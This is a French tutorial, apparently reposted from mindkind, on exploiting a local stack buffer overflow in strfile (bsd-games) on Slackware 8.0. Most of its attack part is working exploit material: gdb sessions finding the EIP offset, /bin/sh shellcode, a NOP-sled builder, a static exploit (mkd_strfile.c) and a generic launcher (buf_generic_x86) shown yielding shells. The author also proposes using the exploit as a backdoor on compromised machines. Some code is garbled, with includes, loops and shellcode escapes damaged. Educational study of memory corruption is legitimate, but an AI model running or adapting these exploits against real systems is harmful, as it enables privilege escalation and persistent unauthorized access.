Welcome to Coding : Sécurité Programmation Réseaux

Search   in  

 Create an Account Home | Submit News Your Account Content | Topics | Top 10  


Accueil
· Home
· Listing des Articles
· Top 10
· Repository des Exploits

Les sujets / parties
· C / C ++
· Visual Basic
· Asm
· Reseaux
· Java
· Securite
· Divers

Utile
· Listing des Articles

· Telecharger
· Le Forum
· Liens
· Proposer un article

Top20 des Downloads
· 1: Etude des reseaux generalites et protocoles
· 2: Cheval de troie en VB avec sources
· 3: Netcat 1.1
· 4: Keylogger
· 5: Etudes des reseaux hauts debits architectures et protocoles
· 6: Ecoute de port
· 7: Etude du Smart Spoofing
· 8: Win Packet Capture Utils
· 9: Tutorial on Traffic Interception on Switched Lan using ARP spoofing
· 10: Cours de C

User Info
Welcome, Anonymous
Nickname
Password
(Register)
Membership:
Latest: longjohn
New Today: 0
New Yesterday: 2
Overall: 2216

People Online:
Visitors: 28
Members: 0
Total: 28

  
Buffer Overflow pour les 0x90 (null ...)
Posted on Thursday, January 15 @ 14:28:35 CET
Topic: Securité
Securité

	Cet article (extrait de mindkind) traite de  comment faire  un buffer  overflow sur  un exécutable
linux i386  ia32 local.  Contrairement aux  articles déjà  paru sur les buffers
overflow de type local, il n'utilise pas d'exemple préfab. il tente
  d'exploiter  strfile,  un  utilitaire  du  package  bsd-games
(fortune cookie) dans un environnement linux slackware 8.0 . L'accent est  mit
sur le comment plus que le pourquoi,  le but de cet article étant de  démontrer
en milieu réel la création d'un exploit de type buffer overflow local. Là où ça
se   passe   vraiment  quoi.   Des  connaissances     minimums   en     système
d'exploitation linux et en programmation  (les codes présentés ici seront  en C
et ASM, mais la non-connaissance de ces langages n'entraîne pas automatiquement
une non-compréhension de cet article, il est tout à fait possible de comprendre
les  exemples donnés  si vous  pratiquez déjà  la programmation  sous un  autre
langage). Vous pouvez donc voir cet article comme une vulgarisation des buffers
overflow. 

Voir la suite pour la suite ... (arf)

Cet article traitera de comment faire un buffer overflow sur un exécutable linux i386 ia32 local. Contrairement aux articles déjà paru sur les buffers overflow de type local, nous n'utiliserons pas d'exemple préfab. Nous tenterons (et réussirons) d'exploiter strfile, un utilitaire du package bsd-games (fortune cookie) dans un environnement linux slackware 8.0 . L'accent sera mit sur le comment plus que le pourquoi, le but de cet article étant de démontrer en milieu réel la création d'un exploit de type buffer overflow local. Là où ça se passe vraiment quoi. Des connaissances minimums en système d'exploitation linux et en programmation (les codes présentés ici seront en C et ASM, mais la non-connaissance de ces langages n'entraîne pas automatiquement une non-compréhension de cet article, il est tout à fait possible de comprendre les exemples donnés si vous pratiquez déjà la programmation sous un autre langage). Vous pouvez donc voir cet article comme une vulgarisation des buffers overflow. L'accent sera donc mit sur ce qui est important pour réussir. Je proposerais aussi une solution tout en un qui permettra d'exploiter la plupart des buffers overflow d'argument local avec un seul exploit. Strfile n'est pas suid root, mais on peut se servir de cet exploit comme une backdoor sur une machine déjà rooté. L'article sera séparé en 2 parties majeures, la première partie, théorique, récapitule de façon généralisé ce qui est nécessaire de savoir. Cette théorie a déjà été expliqué de différentes façons, je la reprends donc ainsi a la mienne en tant qu'introduction à l'exploit de strfile. Nous en venons donc à la 2ème section qui traitera de l'exploitation de strfile de façon pratique et se terminera par la confection d'un exploit en C. La théorie Un buffer overflow se produit lorsqu'on tente d'écrire en mémoire le contenu d'une variable dont la grandeur en bytes dépasse celle prévue à cet effet par le programme lui-même. Les données qui se retrouverons en surplus iront réécrire par dessus les valeurs précédentes dans la stack (la stack étant la partie de mémoire où sont stockés les arguments et les variables locales). Pourquoi celle qui précède ? Et bien car dans la stack tout ce qui est inscrit débute à la fin, un peu comme lorsqu'un arabe écrit. Donc la première variable à entrer sera à la fin de la stack. Ensuite la deuxième variable viendra s'ajouter "en dessous". Mais pourquoi donc si la 2ème variable est overflowée son contenu viendra se déverser dans la première ? Et bien c'est que dans chaque variable le contenu est écrit du bas vers le haut dans l'espace allouée à cette variable. wtf ? Un ascii s'impose afin de mieux digérer tout ça. End of user Memory ,----------------, | | bon la stack est la zone situer à la fin de la mémoire | S | | allouée par le OS à un process. Dans cette zone sont | T | | situées toute les variables utilisées par le process. | A | | Pour une procédure qui contient 4 variables, la première | C | | s'installera dans le haut de la stack la 2ième viendra | K | | ensuite en dessous de la première et la 3ième en dessous | | | de la 2ième et ainsi jusqu'à la fin. | | | | / | | ' | |________________| End of user Memory ,----------------, |1ère procédure | S | | var1 / | T | | var2 | | A | | var3 | | C | | var4 | | K | |________________| | |2ième procédure | | | var1 / | / | var2 | | ' | var3 | | | var4 | | | | ____ ,------------------------------------------------- / | Bien que ça ne soit pas nécessaire à la réussite | _ | | d'un buffer overflow local, certains d'entre vous | / | | aimeraient sans doute avoir un supplément || | | / d'information sur la stack et l'organisation de la (.) (.)| / mémoire en général. || | | main (int argc, char *argv[]) { char buffer1[20]; char buffer2[256]; if (argc > 2) { strcpy(buffer1,argv[1]); strcpy(buffer2,argv[2]); } else { printf("this crap needs 2 arguments "); } } Donc dans ce code, si l'on passe en argument à buffer1 une valeur de plus de 256 bytes, le surplus va déborder dans buffer2 et le programme va continuer son exécution normalement (puisque ce code ne s'attend à aucune valeur en particulier et ne fait rien d'autre que de copier arg1 en mémoire (a l'intérieur de buffer1). Nous allons donc essayer à l'aide de gdb et d'une fonction pratique en Perl de trouver à quel endroit se trouve le eip du code précédant. Lorsque se sera fait, nous pourrons nous attaquer à strfile et créer l'exploit. Le caractère "`" permet de passer une autre commande en argument, c'est donc le résultat de la commande entre `` qui apparaîtra et non la commande elle même. Perl possède le même genre de caractère "'" qui permet les même fonctions, comme c'est 2 balises sont différentes, il nous est donc possible de passer le résultat d'une commande à une autre commande afin d'arriver à un résultat global. Ex: [encoder@localhost encoder]$ echo `perl -e 'print "A"x20'` AAAAAAAAAAAAAAAAAAAA [encoder@localhost encoder]$ Ainsi nous avons passé en commentaire à la commande echo 20 A. Nous nous servirons de cette particularité afin de construire nos buffers tests qui nous servirons à identifier le nombre de bytes nécessaire pour réécrire eip. [encoder@localhost test]$ gdb test2 -q (gdb) r `perl -e 'print "B"x20'` `perl -e 'print "A"x304'` Starting program: /home/encoder/hack/test/test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x304'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) p $eip $1 = (void *) 0x41414141 (gdb) (41 étant la valeur hexadécimal de A, on sait donc ainsi qu'on a réécrit 4 "A" sur la valeur de eip) Comment savoir le nombre de bytes nécessaire pour remplir un buffer ? He bien, il suffit de compter. eip(4bytes) + ebp(4bytes) + int argc(4bytes) + char* argv[1](3 x 4bytes (2 argument + prog name)) + buffer1(20bytes) + buffer2(256bytes) donc 4 + 4 + 4 + 12 + 20 + 256 = 300 Je dois spécifier que je travail sur un système red hat, et que red hat afin de se protéger des nombreux exploits déjà existant a son égard fait ajouter une valeur de 4 bytes après le ebp. Ainsi donc nous arrivons enfin à notre 304 bytes de buffer. Sous un système slackware, comme nous tenterons d'exploiter plus tard, notre buffer aurait été de 300bytes. Il faut aussi savoir que dans la stack toute les variables sont paddées a 4 bytes. Donc toute les buffers auront nécessairement un multiple de 4 comme grandeur. Une autre façon plus brainless de trouver la réponse aurait été de bruteforcer carrément la grandeur du buffer. [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x256'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x266'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x276'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x286'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x296'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x306'` Segmentation fault (core dumped) [encoder@localhost test]$ gdb -c core.11024 -q Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAA...'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) quit 306 n'étant pas un multiple de 4, nous pouvons savoir qu'il est impossible que le eip soit correctement écrasé avec un padding de la sorte. [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x300'` Segmentation fault (core dumped) [encoder@localhost test]$ gdb -c core.11032 -q Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAA AAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x42015800 in ?? () (gdb) quit A 300 on ne retrouve pas nos AAAA (41414141) c donc dire que nous n'avons pas réécrit eip. [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x304'` Segmentation fault (core dumped) [encoder@localhost test]$ gdb -c core.11040 -q Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAA AAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) Ici à 304 nous nous rendons compte que nous avons effectivement réécrit eip, afin de nous assurer que nous ne nous sommes pas trompé nous allons donner comme argument un padding de 300 A et de 4 Z afin de s'assurer que s'assurer que les 4 derniers bytes de notre buffer overflow recouvre bien le eip. [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x300'`ZZZZ Segmentation fault (core dumped) [encoder@localhost test]$ gdb -c core.11743 -q Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x5a5a5a5a in ?? () (gdb) Operation successfull, on vient de trouver le eip. ____ ,------------------------------------------------- / | Certain d'entre vous qui connaissent mal ou pas | _ | | du tout GDB apprécieraient sûrement une petite | / | | explication de ce qui c'est passé ici. || | | / (.) (.)| / || | | main(int argc,char* argv[]) { int x; if (argc > 1) { // A X nbr argument(argv[1]) (perl -e 'print "A"x300') (0x42) for (x=0;x main(int argc,char*argv) { char shellcode[] = "x33xc0x31xdbxb0x17xcdx80" "x31xc0x50x68//shx68/binx89xe3" "x50x53x89xe1x99xb0x0bxcdx80"; printf("lenght of %d ", strlen(shellcode)); } root@Rewter:~/tool# gcc length.c -o len root@Rewter:~/tool# ./len lenght of 32 Nous savons maintenant que notre shellcode a une grosseur de 32 bytes. Nous pouvons donc assumer avec certitude qu'il nous faudra 4112 bytes de nop pour compléter notre buffer (il ne faut pas oublier que l'adresse qui réécrit eip prend 4bytes). eip : C'est dans les 4 bytes du eip que se trouve l'adresse de retour. Il nous faut donc trouver une adresse mémoire au milieu de nos nop. pour ce faire nous utiliserons gdb et un petit code en c qui ressemble beaucoup a notre code de padding, sauf que au lieu de créer des A il créer des nop. //nop.c //padding de nop dans un buff #include main(int argc,char* argv[]) { int x; if (argc > 1) { // 0x90 X nbr argument(argv[1]) (perl -e 'print "A"x300') (0x42) for (x=0;x unsigned long getesp() { __asm__("movl %esp, %eax"); } main(int argc, char* argv[]) { unsigned long esp; char* ret; esp = getesp(); if (argc > 1) esp += atoi(argv[1]); ret = &esp; printf("%c%c%c%c",ret[0],ret[1],ret[2],ret[3]); } Maintenant que nous avons la possibilité de réécrire le eip avec une adresse qui jumpera au début de notre buffer. l'offset est un nombre qu'on passe en argument que l'exploit addition a l'adresse hexadécimal afin de permettre un peu de souplesse a l'exploit. de petite variation pouvant arriver d'un système a l'autre il est toujours pratique d'avoir la chance de jumper a une adresse plus haute en mémoire. Nous sommes maintenant prêt à bâtir un buffer que nous copierons dans un tird part text, dont nous nous servirons comme argument à passer à strfile. Dans un premier temps il nous faudra un code qui output notre shellcode pour ensuite le passer en argument à un programme qui assemblera nop shellcode et eip. //shellcode.c //print le shellcode pour le passer en arguement #include char shellcode[] = "x33xc0x31xdbxb0x17xcdx80" "x31xc0x50x68//shx68/binx89xe3" "x50x53x89xe1x99xb0x0bxcdx80"; main() { printf("%s",shellcode); } //build_buf.c //assemble le buffer (nop + shellcode + ret (eip) #include main(int argc, char* argv[]) { int buffer_size; char* shellcode; char* ret; int x,y; if (argc > 3) { buffer_size = atoi(argv[1]); shellcode = argv[2]; ret = argv[3]; x = buffer_size; x -= strlen(shellcode); for (y=0;y buf root@Rewter:~/tool# strfile `cat buf` sh-2.05# Tadam on vient de réussir un buffer overflow. nous n'avons pas eu besoin d'offset, mais jumper à l'intérieur d'une zone de 4148 bytes est quelque chose d'assez facile à faire. ce n'est pas l'espace qui manque. Noter que strfile ne possède pas de suid root, donc l'exploit ne donnera pas le root, il va seulement conserver les privilèges que vous avez déjà. ici je lai lancer root, c'est pourquoi je suis root. cependant il n'existe pas de différence au niveau code pour exploiter un programme suid 0 d'un programme non-suid 0. Maintenant que nous avons une vague idée de ce a quoi notre exploit ressemble nous allons en bâtir un static pour strfile. qui sera compilable et distribuable. //mkd_strfile.c //exploit static pour slackware 8.0 strfile (bsdgame package) #include //location du bin a exploiter #define PATH "/usr/bin/strfile" //grandeur du buffer total #define BUFFER 4148 //addresse de retour (pour ecraser eip) #define RET "xbfxffxebx58" main (int argc,char* argv[]) { char shellcode[] = "x33xc0x31xdbxb0x17xcdx80" "x31xc0x50x68//shx68/binx89xe3" "x50x53x89xe1x99xb0x0bxcdx80"; char nop[] = "x90"; int x; char* payload; //creation du padding de nop for (x=1;x #include unsigned long getesp() { __asm__("movl %esp, %eax"); } main(int argc, char* argv[]) { int buffer_size, i; char shellcode[] = "x33xc0x31xdbxb0x17xcdx80" "x31xc0x50x68//shx68/binx89xe3" "x50x53x89xe1x99xb0x0bxcdx80"; char nop[] = "x90"; char* path; char* buff; char* payload; char* redhat; unsigned long ret; if (argc > 4) { /*definition des variable*/ path = argv[1]; buffer_size = atoi(argv[2]); redhat = argv[4]; /*mettre laddresse memoir de %esp dans esp*/ ret = getesp(); /*calcule du ret*/ ret += atoi(argv[3]); buff = malloc(4096); payload = buff; /*padding du payload*/ if (*redhat == 'n') { for (i=0;i 5) { printf("trying to exploit %s %s ", &path[0], argv[5]); } else { printf("trying to exploit %s ", &path[0]); } printf("a buffer of %d ", buffer_size); printf("using a shellcode of %d ", strlen(shellcode)); printf("with a padding of %d ", buffer_size-strlen(shellcode)-4); printf("and an offset of %d ", atoi(argv[3])); printf("jumping to 0x%x ", ret); printf("payload lenght %d ", strlen(payload)); if (argc > 5) { execl(path, "genericbuf", argv[5], payload, NULL); } else { execl(path, "genericbuf", payload, NULL); } } else { printf("usage is ./buf_generic_x86 path_to_vuln buffer_size offset redhat_flag(y/n) [argument] "); } } Ce code prend en compte les 4 bytes de trop sous un système red hat, pour vous montrez son fonctionnement j'exploiterais strfile à nouveau. Mais en utilisant buf_generic_x86 au lieu de mkd_strfile root@Rewter:~/tool# ./buf_generic_x86 usage is ./buf_generic_x86 path_to_vuln buffer_size offset redhat_flag(y/n) [argument] root@Rewter:~/tool# ./buf_generic_x86 /usr/bin/strfile 4148 0 n trying to exploit /usr/bin/strfile a buffer of 4148 using a shellcode of 32 with a padding of 4112 and an offset of 0 jumping to 0xbffff94c payload lenght 4148 sh-2.05# Et pour la 3ième fois dans cet article, nous avons réussi à exploiter strfile. comme vous avez pu remarquer, il existe plus qu'une façon d'arriver a exploiter un buffer overflow local. J'espère que ce texte vous aura apporter quelque chose ne serais-ce que le buf_generic.c si vous saviez deja faire des buffers overflow. sinon, he bien, peu être aurez vous trouvez le complément qui manquais au doc existant pour arriver à votre fin. Greets : __2 avec qui j'ai construit les tools en C qui permettent de créer un buffer dans un file. Wyzeman

 
Liens connexes
· Plus à propos de Securité
· Nouvelles transmises par Romain_Le_Guen


L'article le plus lu à propos de Securité:
Tutoriel Aircrack


Article Rating
Average Score: 1
Votes: 1


Please take a second and vote for this article:

Excellent
Very Good
Good
Regular
Bad


Options

 Format imprimable Format imprimable


Associated Topics

AsmCLinux

PHP-Nuke Copyright © 2005 by Francisco Burzi. This is free software, and you may redistribute it under the GPL. PHP-Nuke comes with absolutely no warranty, for details, see the license.
Page Generation: 1.65 Seconds